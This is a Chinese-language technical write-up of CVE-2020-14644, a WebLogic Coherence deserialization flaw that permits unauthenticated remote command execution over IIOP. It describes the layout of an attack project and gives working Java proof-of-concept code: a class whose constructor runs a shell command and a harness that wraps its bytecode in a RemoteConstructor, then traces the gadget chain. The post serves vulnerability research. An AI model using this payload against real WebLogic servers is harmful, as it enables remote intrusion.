2020年7月,Oracle发布了关键升级补丁(Critical Patch Update),其中包含编号为CVE-2020-14644 的漏洞修复。
WebLogic的核心coherence
组件存在严重的安全漏洞,可以在无需账户登录的情况下,通过发送精心恶意的IIOP协议数据包,进行反序列化攻击完成远程任意命令执行。
受影响的版本:
漏洞环境:
看看整个项目的结构:
相关代码包含三个文件:
App为攻击项目的入口,POC构造的逻辑,字节码处理等
test为包含恶意命令类,会被App进行字节码处理
Serializables为序列化工具类
lib库包含两个jar文件,同样需要添加到项目中
WebLogic 12.2.1.4.0可以使用项目自带的,其他的版本最好使用和目标版本一致的
coherence.jar的位置
/Users/rai4over/Oracle/Middleware/Oracle_Home/wlserver/server/lib/console-ext/autodeploy/coherence.jar
wlfullclient.jar需要手动生成
java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar
运行后在会生成wlfullclient.jar,路径为:
~/Oracle/Middleware/Oracle_Home/wlserver/server/lib/wlfullclient.jar
然后可以使用脚本进行攻击,因为有回显的,所以需要运行两次
javassist
是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
Ysoserial
在生成Payload中也是使用的javassist
类库。
几个重要的Javassist类对象:
ClassPool
:一个基于Hashtable
实现的CtClass
对象容器,其中键名是类名称,值是表示该类的CtClass
对象。
CtClass
:CtClass
表示类,一个CtClass
(编译时类)对象可以处理一个class
文件,这些CtClass
对象可以从ClassPool
获得。
CtMethods
:表示类中的方法。
CtFields
:表示类中的字段。
创建ClassPool
对象
//ClassPool pool = new ClassPool(true); ClassPool pool = ClassPool.getDefault();
使用的是默认系统的类搜索路径获取ClassPool
对象
添加类搜索路径
pool.insertClassPath(new ClassClassPath(this.getClass())); //pool.insertClassPath("/usr/local/javalib");
将类搜索路径插入到搜索路径,或者将目录作为类搜索路径
查找并获取CtClass
对象
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath("XXXXXXX")); CtClass ctClass = pool.get("XXXXX");
依据key
从Hash
表中查找对应的CtClass
对象
CtClass
可被修改
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath("XXXXXXX")); CtClass ctClass = pool.get("XXXXX"); ctClass.setSuperclass(pool.get("XXXXXX"));
修改并设置父类
byte[] b = ctClass.toBytecode();
获取修改后的字节码
Class clazz = ctClass.toClass();
转换成Class
对象
为了方便分析,可以简化攻击代码,本地模拟序列化和反序列化的过程,完成攻击。
test1.java
package org.unicodesec; import com.tangosol.internal.util.invoke.RemoteConstructor; import weblogic.cluster.singleton.ClusterMasterRemote; import java.io.IOException; import java.rmi.RemoteException; public class test1 implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote { public test1() throws IOException { String cmd = "touch /tmp/rai4over"; Runtime.getRuntime().exec(cmd); } @Override public RemoteConstructor getRemoteConstructor() { return null; } @Override public void setRemoteConstructor(RemoteConstructor remoteConstructor) { } @Override public void setServerLocation(String s, String s1) throws RemoteException { } @Override public String getServerLocation(String s) throws RemoteException { return null; } }
test1实现com.tangosol.internal.util.invoke.Remotable
和ClusterMasterRemote
接口,并且在无参数的构造函数中包含执行的命令。
RCETEST.java
package org.unicodesec; import com.tangosol.internal.util.invoke.ClassDefinition; import com.tangosol.internal.util.invoke.ClassIdentity; import com.tangosol.internal.util.invoke.RemoteConstructor; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import java.io.IOException; public class RCETEST { public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException { ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test1.class); ClassPool cp = ClassPool.getDefault(); CtClass ctClass = cp.get(org.unicodesec.test1.class.getName()); ctClass.replaceClassName(org.unicodesec.test1.class.getName(), org.unicodesec.test1.class.getName() + "$" + classIdentity.getVersion()); RemoteConstructor constructor = new RemoteConstructor( new ClassDefinition(classIdentity, ctClass.toBytecode()), new Object[]{} ); byte[] obj = Serializables.serialize(constructor); Serializables.deserialize(obj); } }
大致为使用javassist
修改恶意的test1.java
的字节码文件,这里和ysoserial-payloads-CommonsCollections2
的操作是一个套路,装入恶意的RemoteConstructor
对象并序列化,然后反序列化触发。
开始分析POC的构造,首先是new ClassIdentity(org.unicodesec.test1.class)
,将恶意test1的class作为参数传入创建ClassIdentity
对象。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>)
clazz.getPackage().getName().replace('.', '/')
获取包名并替换后为org/unicodesec
clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1)
获取类名并截取后变为test1
Base.toHex(md5(clazz))
为MD5值81646C2598E743F9FE254AB93A0FBE14
然后传递到另一个构造参数。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.String, java.lang.String, java.lang.String)
分别赋值给m_sPackage
、m_sVersion
、m_sBaseName
成员,然后返回ClassIdentity
类的实例化对象。
接着创建ClassPool
对象,org.unicodesec.test1.class.getName()
也就是test1
,修改类名为org.unicodesec.test1$81646C2598E743F9FE254AB93A0FBE14
,接着将修改后test1
的字节码和生成ClassIdentity
对象作为参数创建ClassDefinition
对象。
com.tangosol.internal.util.invoke.ClassDefinition#ClassDefinition(com.tangosol.internal.util.invoke.ClassIdentity, byte[])
将传入的ClassIdentity
对象和test1
字节码文件分别存储,然后还获取了ClassName
并进行长度判断。创建的ClassDefinition
对象又会作为参数创建RemoteConstructor
对象。
com.tangosol.internal.util.invoke.RemoteConstructor#RemoteConstructor(com.tangosol.internal.util.invoke.ClassDefinition, java.lang.Object[])
第二个参数是空的,整个RemoteConstructor
对象结构如下:
RemoteConstructor
对象中包含创建和修改的各个对象。
整个恶意类接下来就是使用Serializables
工具类序列化RemoteConstructor
对象,然后模拟Weblogic中IIOP通讯,反序列化该对象。
com.tangosol.internal.util.invoke.RemoteConstructor#readResolve
和之前常见的java反序列化readObject
作为入口不同,这次的问题出在用于检查反序列化对象是否唯一readResolve
(单例模式),然后调用newInstance
。
com.tangosol.internal.util.invoke.RemoteConstructor#newInstance
获取继承ClassLoader
对象的RemotableSupport
对象,然后将RemoteConstructor
传入support.realize
函数。
com.tangosol.internal.util.invoke.RemotableSupport#realize
首先constructor.getDefinition()
获取了ClassDefinition
对象,然后传入registerIfAbsent
函数
com.tangosol.internal.util.invoke.ClassDefinition
根据ID
将ClassDefinition
对象存储在MAP类的this.f_mapDefinitions
中,然后返回ClassDefinition
对象
com.tangosol.internal.util.invoke.RemotableSupport#f_mapDefinitions
返回到realize,然后调用definition.setRemotableClass(this.defineClass(definition))
,先看this.defineClass
。
com.tangosol.internal.util.invoke.RemotableSupport#defineClass
com.tangosol.internal.util.invoke.ClassDefinition#getBytes
definition.getBytes()
会返回test1
的字节码
java.lang.ClassLoader#defineClass(java.lang.String, byte[], int, int)
RemotableSupport
对象利用继承ClassLoader
的defineClass
方法加载test1
的字节码,返回test1-Class
对象传入definition.setRemotableClass
方法。
com.tangosol.internal.util.invoke.ClassDefinition#setRemotableClass
将test1-Class
对象存入ClassDefinition
对象的m_clz,然后通过getDeclaredConstructors
获取test1的构造函数数组。
构造函数数量为1,进入if分支,使用MethodHandles
查找类中的构造方法,并存储到m_mhCtor
成员。
java.lang.invoke.MethodHandles.Lookup#findConstructor
返回到realize
函数,调用definition.createInstance
函数
com.tangosol.internal.util.invoke.ClassDefinition#createInstance
这里是一个链式调用,跟进this.getConstructor
com.tangosol.internal.util.invoke.ClassDefinition#getConstructor
会返回存储test1
构造函数的MethodHandle
对象,构造函数中包含恶意命令,然后反射执行构造函数,完成任意命令执行,此时的调用栈为:
exec:347, Runtime (java.lang) <init>:15, test1$81646C2598E743F9FE254AB93A0FBE14 (org.unicodesec) newInvokeSpecial__L:-1, 36333492 (java.lang.invoke.LambdaForm$DMH) reinvoke:-1, 55909012 (java.lang.invoke.LambdaForm$BMH) invoker:-1, 2083117811 (java.lang.invoke.LambdaForm$MH) invokeExact_MT:-1, 157683534 (java.lang.invoke.LambdaForm$MH) invokeWithArguments:627, MethodHandle (java.lang.invoke) createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke) realize:142, RemotableSupport (com.tangosol.internal.util.invoke) newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke) readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadResolve:1148, ObjectStreamClass (java.io) readOrdinaryObject:1817, ObjectInputStream (java.io) readObject0:1353, ObjectInputStream (java.io) readObject:373, ObjectInputStream (java.io) deserialize:27, Serializables (org.unicodesec) deserialize:22, Serializables (org.unicodesec) main:22, RCETEST (org.unicodesec)
https://www.oracle.com/security-alerts/cpujul2020.html